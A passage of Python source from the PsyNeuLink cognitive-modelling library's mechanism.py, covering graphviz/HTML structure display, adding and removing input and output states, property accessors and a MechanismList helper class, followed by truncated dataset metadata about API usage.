parameter_states_header = f'<tr><td><b><i>{ParameterState.__name__}s</i></b></td></tr>'\n # MODIFIED 3/21/19 NEW: [JDC]\n parameter_states_header = f'<tr><td rowspan=\"1\" valign=\"middle\"><b><i>{ParameterState.__name__}s</i></b></td>'\n # MODIFIED 3/21/19 END\n output_states_header = f'<tr><td colspan=\"1\" valign=\"middle\"><b><i>{OutputState.__name__}s</i></b></td></tr>'\n\n # Inner State table (i.e., that contains individual states in each cell):\n inner_table_spec = '<table border=\"0\" cellborder=\"2\" cellspacing=\"0\" color=\"LIGHTGOLDENRODYELLOW\" bgcolor=\"PALEGOLDENROD\">'\n\n def mech_cell():\n '''Return html with name of Mechanism, possibly with function and/or value\n Inclusion of roles, function and/or value is determined by arguments of call to show_structure()'''\n header = ''\n if show_headers:\n header = mech_header\n mech_name = f'<b>{header}<font point-size=\"16\" >{self.name}</font></b>'\n\n mech_roles = ''\n if composition and show_roles:\n from psyneulink.core.components.system import System\n if isinstance(composition, System):\n try:\n mech_roles = f'<br/>[{self.systems[composition]}]'\n except KeyError:\n # # mech_roles = r'\\n[{}]'.format(self.system)\n # mech_roles = r'\\n[CONTROLLER]'\n from psyneulink.core.components.mechanisms.adaptive.control.controlmechanism import ControlMechanism\n from psyneulink.core.components.mechanisms.processing.objectivemechanism import ObjectiveMechanism\n if isinstance(self, ControlMechanism) and hasattr(self, 'system'):\n mech_roles = r'\\n[CONTROLLER]'\n elif isinstance(self, ObjectiveMechanism) and hasattr(self, '_role'):\n mech_roles = f'\\n[{self._role}]'\n else:\n mech_roles = \"\"\n else:\n from psyneulink.core.compositions.composition import CompositionInterfaceMechanism, NodeRole\n if self is composition.controller:\n # mech_roles = f'<br/><i>{NodeRole.MODEL_BASED_OPTIMIZER.name}</i>'\n mech_roles = f'<br/><i>CONTROLLER</i>'\n elif not isinstance(self, CompositionInterfaceMechanism):\n roles = [role.name for role in list(composition.nodes_to_roles[self])]\n # MODIFIED 3/19/18 NEW [JDC]:\n # FIX: TEMPORARY FIX UNTIL THIS ROLE IS ASSIGNED DIRECTLY BY COMPOSITION;\n # REPLACE WITH ASSERTION WHEN THAT IS DONE\n if not len(roles):\n roles = ['INTERNAL']\n # MODIFIED 3/19/18 END\n mech_roles = f'<br/><i>{\",\".join(roles)}</i>'\n assert True\n\n mech_function = ''\n fct_params = ''\n if show_functions:\n if show_mech_function_params:\n fct_params = []\n for param in [param for param in self.function_parameters\n if param.modulable and param.name not in {ADDITIVE_PARAM, MULTIPLICATIVE_PARAM}]:\n fct_params.append(f'{param.name}={param.get()}')\n fct_params = \", \".join(fct_params)\n mech_function = f'<br/><i>{self.function.__class__.__name__}({fct_params})</i>'\n mech_value = ''\n if show_values:\n mech_value = f'<br/>={self.value}'\n # Mech cell should span full width if there are no ParameterStates\n cols = 1\n if not len(self.parameter_states):\n cols = 2\n return f'<td port=\"{self.name}\" colspan=\"{cols}\">' + \\\n mech_name + mech_roles + mech_function + mech_value + '</td>'\n\n @tc.typecheck\n def state_table(state_list:ContentAddressableList,\n state_type:tc.enum(InputState, ParameterState, OutputState)):\n\n '''Return html with table for each state in state_list, including functions and/or values as specified\n\n Each table has a header cell and and inner table with cells for each state in the list\n InputState and OutputState cells are aligned horizontally; ParameterState cells are aligned vertically.\n Use show_functions, show_values and include_labels arguments from call to show_structure()\n See show_structure docstring for full template.\n '''\n\n def state_cell(state, include_function:bool=False, include_value:bool=False, use_label:bool=False):\n '''Return html for cell in state inner table\n Format: <td port=\"StatePort\">StateName<br/><i>function 1</i><br/><i>=value</i></td>\n '''\n\n function = ''\n fct_params = ''\n if include_function:\n if show_state_function_params:\n fct_params = []\n for param in [param for param in self.function_parameters\n if param.modulable and param.name not in {ADDITIVE_PARAM, MULTIPLICATIVE_PARAM}]:\n fct_params.append(f'{param.name}={param.get()}')\n fct_params = \", \".join(fct_params)\n function = f'<br/><i>{state.function.__class__.__name__}({fct_params})</i>'\n value=''\n if include_value:\n if use_label and not isinstance(state, ParameterState):\n value = f'<br/>={state.label}'\n else:\n value = f'<br/>={state.value}'\n return f'<td port=\"{self._get_port_name(state)}\"><b>{state.name}</b>{function}{value}</td>'\n\n\n # InputStates\n if state_type is InputState:\n if show_headers:\n states_header = input_states_header\n else:\n states_header = ''\n table = f'<td colspan=\"2\"> {outer_table_spec} {states_header}<tr><td>{inner_table_spec}<tr>'\n for state in state_list:\n table += state_cell(state, show_functions, show_values, use_labels)\n table += '</tr></table></td></tr></table></td>'\n\n # ParameterStates\n elif state_type is ParameterState:\n if show_headers:\n states_header = parameter_states_header\n else:\n states_header = '<tr>'\n table = f'<td> {outer_table_spec} {states_header} <td> {inner_table_spec}'\n for state in state_list:\n table += '<tr>' + state_cell(state, show_functions, show_values, use_labels) + '</tr>'\n table += '</table></td></tr></table></td>'\n\n # OutputStates\n elif state_type is OutputState:\n if show_headers:\n states_header = output_states_header\n else:\n states_header = ''\n table = f'<td colspan=\"2\"> {outer_table_spec} <tr><td>{inner_table_spec}<tr>'\n for state in state_list:\n table += state_cell(state, show_functions, show_values, use_labels)\n table += f'</tr></table></td></tr> {states_header} </table></td>'\n\n return table\n\n\n # Construct InputStates table\n if len(self.input_states) and (not compact_cim or self is not composition.input_CIM):\n input_states_table = f'<tr>{state_table(self.input_states, InputState)}</tr>'\n\n else:\n input_states_table = ''\n\n # Construct ParameterStates table\n if len(self.parameter_states):\n parameter_states_table = state_table(self.parameter_states, ParameterState)\n else:\n parameter_states_table = ''\n\n # Construct OutputStates table\n if len(self.output_states) and (not compact_cim or self is not composition.output_CIM):\n output_states_table = f'<tr>{state_table(self.output_states, OutputState)}</tr>'\n\n else:\n output_states_table = ''\n\n # Construct full table\n m_node_struct = '<' + node_table_spec + \\\n output_states_table + \\\n '<tr>' + mech_cell() + parameter_states_table + '</tr>' + \\\n input_states_table + \\\n '</table>>'\n\n if output_fmt == 'struct':\n # return m.node\n return m_node_struct\n\n # Make node\n import graphviz as gv\n struct_shape = 'plaintext' # assumes html is used to specify structure in m_node_struct\n\n m = gv.Digraph(#'mechanisms',\n #filename='mechanisms_revisited.gv',\n node_attr={'shape': struct_shape},\n )\n m.node(self.name, m_node_struct, shape=struct_shape)\n\n if output_fmt == 'pdf':\n m.view(self.name.replace(\" \", \"-\"), cleanup=True)\n\n elif output_fmt == 'jupyter':\n return m\n\n @tc.typecheck\n def _get_port_name(self, state:State):\n if isinstance(state, InputState):\n state_type = InputState.__name__\n elif isinstance(state, ParameterState):\n state_type = ParameterState.__name__\n elif isinstance(state, OutputState):\n state_type = OutputState.__name__\n else:\n assert False, f'Mechanism._get_port_name() must be called with an ' \\\n f'{InputState.__name__}, {ParameterState.__name__} or {OutputState.__name__}'\n return state_type + '-' + state.name\n\n def plot(self, x_range=None):\n \"\"\"Generate a plot of the Mechanism's `function <Mechanism_Base.function>` using the specified parameter values\n (see `DDM.plot <DDM.plot>` for details of the animated DDM plot).\n\n Arguments\n ---------\n\n x_range : List\n specify the range over which the `function <Mechanism_Base.function>` should be plotted. x_range must be\n provided as a list containing two floats: lowest value of x and highest value of x. Default values\n depend on the Mechanism's `function <Mechanism_Base.function>`.\n\n - Logistic Function: default x_range = [-5.0, 5.0]\n - Exponential Function: default x_range = [0.1, 5.0]\n - All Other Functions: default x_range = [-10.0, 10.0]\n\n Returns\n -------\n Plot of Mechanism's `function <Mechanism_Base.function>` : Matplotlib window\n Matplotlib window of the Mechanism's `function <Mechanism_Base.function>` plotted with specified parameters\n over the specified x_range\n\n \"\"\"\n\n import matplotlib.pyplot as plt\n\n if not x_range:\n if \"Logistic\" in str(self.function):\n x_range= [-5.0, 5.0]\n elif \"Exponential\" in str(self.function):\n x_range = [0.1, 5.0]\n else:\n x_range = [-10.0, 10.0]\n x_space = np.linspace(x_range[0],x_range[1])\n plt.plot(x_space, self.function(x_space)[0], lw=3.0, c='r')\n plt.show()\n\n @tc.typecheck\n def add_states(self, states):\n \"\"\"\n add_states(states)\n\n Add one or more `States <State>` to the Mechanism. Only `InputStates <InputState>` and `OutputStates\n <OutputState>` can be added; `ParameterStates <ParameterState>` cannot be added to a Mechanism after it has\n been constructed.\n\n If the `owner <State_Base.owner>` of a State specified in the **states** argument is not the same as the\n Mechanism to which it is being added an error is generated. If the name of a specified State is the same\n as an existing one with the same name, an index is appended to its name, and incremented for each State\n subsequently added with the same name (see :ref:`naming conventions <LINK>`). If a specified State already\n belongs to the Mechanism, the request is ignored.\n\n .. note::\n Adding InputStates to a Mechanism changes the size of its `variable <Mechanism_Base.variable>` attribute,\n which may produce an incompatibility with its `function <Mechanism_Base.function>` (see\n `Mechanism InputStates <Mechanism_InputStates>` for a more detailed explanation).\n\n Arguments\n ---------\n\n states : State or List[State]\n one more `InputStates <InputState>` or `OutputStates <OutputState>` to be added to the Mechanism.\n State specification(s) can be an InputState or OutputState object, class reference, class keyword, or\n `State specification dictionary <State_Specification>` (the latter must have a *STATE_TYPE* entry\n specifying the class or keyword for InputState or OutputState).\n\n Returns a dictionary with two entries, containing the list of InputStates and OutputStates added.\n -------\n\n Dictionary with entries containing InputStates and/or OutputStates added\n\n \"\"\"\n from psyneulink.core.components.states.state import _parse_state_type\n from psyneulink.core.components.states.inputstate import InputState, _instantiate_input_states\n from psyneulink.core.components.states.outputstate import OutputState, _instantiate_output_states\n\n context = ContextFlags.METHOD\n\n # Put in list to standardize treatment below\n if not isinstance(states, list):\n states = [states]\n\n input_states = []\n output_states = []\n instantiated_input_states = None\n instantiated_output_states = None\n\n for state in states:\n # FIX: 11/9/17: REFACTOR USING _parse_state_spec\n state_type = _parse_state_type(self, state)\n if (isinstance(state_type, InputState) or\n (inspect.isclass(state_type) and issubclass(state_type, InputState))):\n input_states.append(state)\n\n elif (isinstance(state_type, OutputState) or\n (inspect.isclass(state_type) and issubclass(state_type, OutputState))):\n output_states.append(state)\n\n if input_states:\n added_variable, added_input_state = self._handle_arg_input_states(input_states)\n if added_input_state:\n if not isinstance(self.defaults.variable, list):\n old_variable = self.defaults.variable.tolist()\n else:\n old_variable = self.defaults.variable\n old_variable.extend(added_variable)\n self.defaults.variable = np.array(old_variable)\n instantiated_input_states = _instantiate_input_states(self,\n input_states,\n added_variable,\n context=context)\n for state in instantiated_input_states:\n if state.name is state.componentName or state.componentName + '-' in state.name:\n state._assign_default_state_name(context=context)\n # self._instantiate_function(function=self.function)\n if output_states:\n instantiated_output_states = _instantiate_output_states(self, output_states, context=context)\n\n self.defaults.variable = self.input_values\n\n return {INPUT_STATES: instantiated_input_states,\n OUTPUT_STATES: instantiated_output_states}\n\n @tc.typecheck\n def remove_states(self, states, context=REMOVE_STATES):\n \"\"\"\n remove_states(states)\n\n Remove one or more `States <State>` from the Mechanism. Only `InputStates <InputState> and `OutputStates\n <OutputState>` can be removed; `ParameterStates <ParameterState>` cannot be removed from a Mechanism.\n\n Each Specified state must be owned by the Mechanism, otherwise the request is ignored.\n\n .. note::\n Removing InputStates from a Mechanism changes the size of its `variable <Mechanism_Base.variable>`\n attribute, which may produce an incompatibility with its `function <Mechanism_Base.function>` (see\n `Mechanism InputStates <Mechanism_InputStates>` for more detailed information).\n\n Arguments\n ---------\n\n states : State or List[State]\n one more `InputStates <InputState>` or `OutputStates <OutputState>` to be removed from the Mechanism.\n State specification(s) can be an InputState or OutputState object or the name of one.\n\n \"\"\"\n from psyneulink.core.components.states.inputstate import INPUT_STATE\n from psyneulink.core.components.states.outputstate import OutputState, OUTPUT_STATE\n\n # Put in list to standardize treatment below\n if not isinstance(states, list):\n states = [states]\n\n input_states = []\n output_states = []\n\n for state in states:\n\n if state in self.input_states:\n if isinstance(state, str):\n state = self.input_states[state]\n index = self.input_states.index(state)\n del self.input_states[index]\n remove_instance_from_registry(registry=self._stateRegistry,\n category=INPUT_STATE,\n component=state)\n old_variable = self.defaults.variable\n old_variable = np.delete(old_variable,index,0)\n self.defaults.variable = old_variable\n\n elif state in self.output_states:\n if isinstance(state, OutputState):\n index = self.output_states.index(state)\n else:\n index = self.output_states.index(self.output_states[state])\n del self.output_states[state]\n del self.output_values[index]\n remove_instance_from_registry(registry=self._stateRegistry,\n category=OUTPUT_STATE,\n component=state)\n\n self.defaults.variable = self.input_values\n\n def _get_mechanism_param_values(self):\n \"\"\"Return dict with current value of each ParameterState in paramsCurrent\n :return: (dict)\n \"\"\"\n from psyneulink.core.components.states.parameterstate import ParameterState\n return dict((param, value.value) for param, value in self.paramsCurrent.items()\n if isinstance(value, ParameterState) )\n\n def get_input_state_position(self, state):\n if state in self.input_states:\n return self.input_states.index(state)\n raise MechanismError(\"{} is not an InputState of {}.\".format(state.name, self.name))\n\n # @tc.typecheck\n # def _get_state_value_labels(self, state_type:tc.any(InputState, OutputState)):\n def _get_state_value_labels(self, state_type, execution_context=None):\n \"\"\"Return list of labels for the value of each State of specified state_type.\n If the labels_dict has subdicts (one for each State), get label for the value of each State from its subdict.\n If the labels dict does not have subdicts, then use the same dict for the only (or all) State(s)\n \"\"\"\n\n if state_type is InputState:\n states = self.input_states\n\n elif state_type is OutputState:\n states = self.output_states\n\n labels = []\n for state in states:\n labels.append(state.get_label(execution_context))\n return labels\n\n @tc.typecheck\n def _add_process(self, process, role:str):\n from psyneulink.core.components.process import Process\n if not isinstance(process, Process):\n raise MechanismError(\"PROGRAM ERROR: First argument of call to {}._add_process ({}) must be a {}\".\n format(Mechanism.__name__, process, Process.__name__))\n self.processes.__additem__(process, role)\n\n @tc.typecheck\n def _add_system(self, system, role:str):\n from psyneulink.core.components.system import System\n if not isinstance(system, System):\n raise MechanismError(\"PROGRAM ERROR: First argument of call to {}._add_system ({}) must be a {}\".\n format(Mechanism.__name__, system, System.__name__))\n self.systems.__additem__(system, role)\n\n def is_finished(self, execution_context=None):\n \"\"\"\n set by a Mechanism to signal completion of its `execution <Mechanism_Execution>` in a `trial`; used by\n `Component-based Conditions <Conditions_Component_Based>` to predicate the execution of one or more other\n Components on the Mechanism.\n \"\"\"\n return self._is_finished\n\n @property\n def input_state(self):\n return self.input_states[0]\n\n @property\n def input_values(self):\n try:\n return self.input_states.values\n except (TypeError, AttributeError):\n return None\n\n def get_input_values(self, execution_context=None):\n return [input_state.parameters.value.get(execution_context) for input_state in self.input_states]\n\n @property\n def external_input_states(self):\n try:\n return [input_state for input_state in self.input_states if not input_state.internal_only]\n except (TypeError, AttributeError):\n return None\n\n @property\n def external_input_values(self):\n try:\n return [input_state.value for input_state in self.input_states if not input_state.internal_only]\n except (TypeError, AttributeError):\n return None\n\n @property\n def default_external_input_values(self):\n try:\n return [input_state.defaults.value for input_state in self.input_states if not input_state.internal_only]\n except (TypeError, AttributeError):\n return None\n\n @property\n def input_labels(self):\n \"\"\"\n Returns a list with as many items as there are InputStates of the Mechanism. Each list item represents the value\n of the corresponding InputState, and is populated by a string label (from the input_labels_dict) when one\n exists, and the numeric value otherwise.\n \"\"\"\n return self.get_input_labels()\n\n def get_input_labels(self, execution_context=None):\n if self.input_labels_dict:\n return self._get_state_value_labels(InputState, execution_context)\n else:\n return self.get_input_values(execution_context)\n\n @property\n def parameter_states(self):\n return self._parameter_states\n\n @parameter_states.setter\n def parameter_states(self, value):\n # This keeps parameter_states property readonly,\n # but averts exception when setting paramsCurrent in Component (around line 850)\n pass\n\n @property\n def output_state(self):\n return self.output_states[0]\n\n @property\n def output_values(self):\n return self.output_states.values\n\n def get_output_values(self, execution_context=None):\n return [output_state.parameters.value.get(execution_context) for output_state in self.output_states]\n\n @property\n def output_labels(self):\n \"\"\"\n Returns a list with as many items as there are OutputStates of the Mechanism. Each list item represents the\n value of the corresponding OutputState, and is populated by a string label (from the output_labels_dict) when\n one exists, and the numeric value otherwise.\n \"\"\"\n return self.get_output_labels()\n\n def get_output_labels(self, execution_context=None):\n if self.output_labels_dict:\n return self._get_state_value_labels(OutputState, execution_context)\n else:\n return self.get_output_values(execution_context)\n\n @property\n def states(self):\n \"\"\"Return list of all of the Mechanism's States\"\"\"\n return ContentAddressableList(\n component_type=State,\n list=list(self.input_states) +\n list(self.parameter_states) +\n list(self.output_states))\n\n @property\n def path_afferents(self):\n \"\"\"Return list of path_afferent Projections to all of the Mechanism's input_states\"\"\"\n projs = []\n for input_state in self.input_states:\n projs.extend(input_state.path_afferents)\n return ContentAddressableList(component_type=Projection, list=projs)\n\n @property\n def mod_afferents(self):\n \"\"\"Return all of the Mechanism's afferent modulatory Projections\"\"\"\n projs = []\n for input_state in self.input_states:\n projs.extend(input_state.mod_afferents)\n for parameter_state in self.parameter_states:\n projs.extend(parameter_state.mod_afferents)\n for output_state in self.input_states:\n projs.extend(output_state.mod_afferents)\n return ContentAddressableList(component_type=Projection, list=projs)\n\n @property\n def afferents(self):\n \"\"\"Return all afferent Projections\"\"\"\n return ContentAddressableList(component_type=Projection,\n list= list(self.path_afferents) + list(self.mod_afferents))\n\n @property\n def efferents(self):\n \"\"\"Return list of all of the Mechanism's Projections\"\"\"\n projs = []\n try:\n for output_state in self.output_states:\n projs.extend(output_state.efferents)\n except TypeError:\n # self.output_states might be None\n pass\n return ContentAddressableList(component_type=Projection, list=projs)\n\n @property\n def projections(self):\n \"\"\"Return all Projections\"\"\"\n return ContentAddressableList(component_type=Projection,\n list=list(self.path_afferents) +\n list(self.mod_afferents) +\n list(self.efferents))\n\n @property\n def senders(self):\n \"\"\"Return all Mechanisms that send Projections to self\"\"\"\n return ContentAddressableList(component_type=Mechanism,\n list=[p.sender.owner for p in self.afferents\n if isinstance(p.sender.owner, Mechanism_Base)])\n\n @property\n def receivers(self):\n \"\"\"Return all Mechanisms that send Projections to self\"\"\"\n return ContentAddressableList(component_type=Mechanism,\n list=[p.receiver.owner for p in self.efferents\n if isinstance(p.sender.owner, Mechanism_Base)])\n\n @property\n def modulators(self):\n \"\"\"Return all Mechanisms that send Projections to self\"\"\"\n return ContentAddressableList(component_type=Mechanism,\n list=[p.sender.owner for p in self.mod_afferents\n if isinstance(p.sender.owner, Mechanism_Base)])\n\n @property\n def attributes_dict(self):\n '''Note: this needs to be updated each time it is called, as it must be able to report current values'''\n\n # # MODIFIED 6/29/18 OLD:\n # attribs_dict = MechParamsDict(\n # OWNER_VARIABLE = self.variable,\n # OWNER_VALUE = self.value,\n # EXECUTION_COUNT = self.execution_count, # FIX: move to assignment to user_params in Component\n # EXECUTION_TIME = self.current_execution_time,\n # INPUT_STATE_VARIABLES = [input_state.variable for input_state in self.input_states]\n # )\n # MODIFIED 6/29/18 NEW JDC:\n # Construct attributes_dict from entries specified in attributes_dict_entries\n # (which is assigned in _instantiate_attributes_before_function)\n attribs_dict = MechParamsDict({key:getattr(self, value) for key,value in self.attributes_dict_entries.items()})\n attribs_dict.update({INPUT_STATE_VARIABLES: [input_state.variable for input_state in self.input_states]})\n # MODIFIED 6/29/18 END\n\n attribs_dict.update(self.user_params)\n del attribs_dict[FUNCTION]\n try:\n del attribs_dict[FUNCTION_PARAMS]\n except KeyError:\n pass\n del attribs_dict[INPUT_STATES]\n del attribs_dict[OUTPUT_STATES]\n try:\n attribs_dict.update(self.function_params)\n except KeyError:\n pass\n return attribs_dict\n\n @property\n def _dependent_components(self):\n return list(itertools.chain(\n super()._dependent_components,\n [self.function],\n self.input_states,\n self.output_states,\n self.parameter_states,\n ))\n\n\ndef _is_mechanism_spec(spec):\n \"\"\"Evaluate whether spec is a valid Mechanism specification\n\n Return true if spec is any of the following:\n + Mechanism class\n + Mechanism object:\n Otherwise, return :keyword:`False`\n\n Returns: (bool)\n \"\"\"\n if inspect.isclass(spec) and issubclass(spec, Mechanism):\n return True\n if isinstance(spec, Mechanism):\n return True\n return False\n\n# MechanismTuple indices\n# OBJECT_ITEM = 0\n# # PARAMS_ITEM = 1\n# # PHASE_ITEM = 2\n#\n# MechanismTuple = namedtuple('MechanismTuple', 'mechanism')\n\nfrom collections import UserList\nclass MechanismList(UserList):\n \"\"\"Provides access to items and their attributes in a list of :class:`MechanismTuples` for an owner.\n\n :class:`MechanismTuples` are of the form: (Mechanism object, runtime_params dict, phaseSpec int).\n\n Attributes\n ----------\n mechanisms : list of Mechanism objects\n\n names : list of strings\n each item is a Mechanism.name\n\n values : list of values\n each item is a Mechanism_Base.value\n\n outputStateNames : list of strings\n each item is an OutputState.name\n\n outputStateValues : list of values\n each item is an OutputState.value\n \"\"\"\n\n def __init__(self, owner, components_list:list):\n super().__init__()\n self.mechs = components_list\n self.data = self.mechs\n self.owner = owner\n # for item in components_list:\n # if not isinstance(item, MechanismTuple):\n # raise MechanismError(\"The following item in the components_list arg of MechanismList()\"\n # \" is not a MechanismTuple: {}\".format(item))\n\n self.process_tuples = components_list\n\n def __getitem__(self, item):\n \"\"\"Return specified Mechanism in MechanismList\n \"\"\"\n # return list(self.mechs[item])[MECHANISM]\n return self.mechs[item]\n\n def __setitem__(self, key, value):\n raise (\"MechanismList is read only \")\n\n def __len__(self):\n return (len(self.mechs))\n\n # def _get_tuple_for_mech(self, mech):\n # \"\"\"Return first Mechanism tuple containing specified Mechanism from the list of mechs\n # \"\"\"\n # if list(item for item in self.mechs).count(mech):\n # if self.owner.verbosePref:\n # print(\"PROGRAM ERROR: {} found in more than one object_item in {} in {}\".\n # format(append_type_to_name(mech), self.__class__.__name__, self.owner.name))\n # return next((object_item for object_item in self.mechs if object_item is mech), None)\n\n @property\n def mechs_sorted(self):\n \"\"\"Return list of mechs sorted by Mechanism name\"\"\"\n return sorted(self.mechs, key=lambda object_item: object_item.name)\n\n @property\n def mechanisms(self):\n \"\"\"Return list of all mechanisms in MechanismList\"\"\"\n return list(self)\n\n @property\n def names(self):\n \"\"\"Return names of all mechanisms in MechanismList\"\"\"\n return list(item.name for item in self.mechanisms)\n\n @property\n def values(self):\n \"\"\"Return values of all mechanisms in MechanismList\"\"\"\n return list(item.value for item in self.mechanisms)\n\n @property\n def outputStateNames(self):\n \"\"\"Return names of all OutputStates for all mechanisms in MechanismList\"\"\"\n names = []\n for item in self.mechanisms:\n for output_state in item.output_states:\n names.append(output_state.name)\n return names\n\n @property\n def outputStateValues(self):\n \"\"\"Return values of OutputStates for all mechanisms in MechanismList\"\"\"\n values = []\n for item in self.mechanisms:\n for output_state in item.output_states:\n values.append(output_state.value)\n return values\n\n def get_output_state_values(self, execution_id):\n \"\"\"Return values of OutputStates for all mechanisms in MechanismList for **execution_id**\"\"\"\n values = []\n for item in self.mechanisms:\n for output_state in item.output_states:\n values.append(output_state.parameters.value.get(execution_id))\n return values\n", "sub_path": "psyneulink/core/components/mechanisms/mechanism.py", "file_name": "mechanism.py", "file_ext": "py", "file_size_in_byte": 205495, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 971, "usage_type": "call"}, {"api_name": "collections.UserDict", "line_number": 984, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 996, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.kwMechanismComponentCategory", "line_number": 1308, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism.Parameters", "line_number": 1312, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 1312, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.parameters.Parameter", "line_number": 1345, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1345, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.parameters.Parameter", "line_number": 1346, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1346, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.parameters.Parameter", "line_number": 1347, "usage_type": "call"}, {"api_name": "psyneulink.core.components.functions.transferfunctions.Linear", "line_number": 1348, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.parameters.Parameter", "line_number": 1350, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.preferences.preferenceset.PreferenceLevel.CATEGORY", "line_number": 1354, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.preferences.preferenceset.PreferenceLevel", "line_number": 1354, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INIT_EXECUTE_METHOD_ONLY", "line_number": 1379, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1386, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 1387, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 1388, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1386, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.PARAMETER_STATES", "line_number": 1387, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1388, "usage_type": "name"}, {"api_name": "psyneulink.core.components.component.Component.paramClassDefaults.copy", "line_number": 1391, "usage_type": "call"}, {"api_name": "psyneulink.core.components.component.Component.paramClassDefaults", "line_number": 1391, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.component.Component", "line_number": 1391, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1393, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1394, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.MONITOR_FOR_CONTROL", "line_number": 1395, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.MONITOR_FOR_LEARNING", "line_number": 1399, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_LABELS_DICT", "line_number": 1400, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.TARGET_LABELS_DICT", "line_number": 1401, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_LABELS_DICT", "line_number": 1402, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.CONSTRUCTOR", "line_number": 1438, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1438, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.VALIDATING", "line_number": 1439, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1439, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ReadOnlyOrderedDict", "line_number": 1445, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.utilities.ReadOnlyOrderedDict", "line_number": 1446, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.VALIDATING", "line_number": 1449, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1449, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.registry.register_category", "line_number": 1450, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.registry.register_category", "line_number": 1462, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1462, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.state.State_Base", "line_number": 1463, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.registry.register_category", "line_number": 1468, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 1468, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.state.State_Base", "line_number": 1469, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.registry.register_category", "line_number": 1474, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 1474, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.state.State_Base", "line_number": 1475, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INITIALIZING", "line_number": 1489, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 1412, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.utilities.convert_to_np_array", "line_number": 1504, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1524, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1527, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.DEFER_VARIABLE_SPEC_TO_MECH_MSG", "line_number": 1531, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.DEFER_VARIABLE_SPEC_TO_MECH_MSG", "line_number": 1539, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.iscompatible", "line_number": 1549, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.utilities.iscompatible", "line_number": 1563, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.state._parse_state_spec", "line_number": 1604, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1605, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.DEFER_VARIABLE_SPEC_TO_MECH_MSG", "line_number": 1609, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState.defaults", "line_number": 1610, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1610, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState.__name__", "line_number": 1614, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1614, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VALUE", "line_number": 1620, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VARIABLE", "line_number": 1621, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 1625, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 1625, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.State", "line_number": 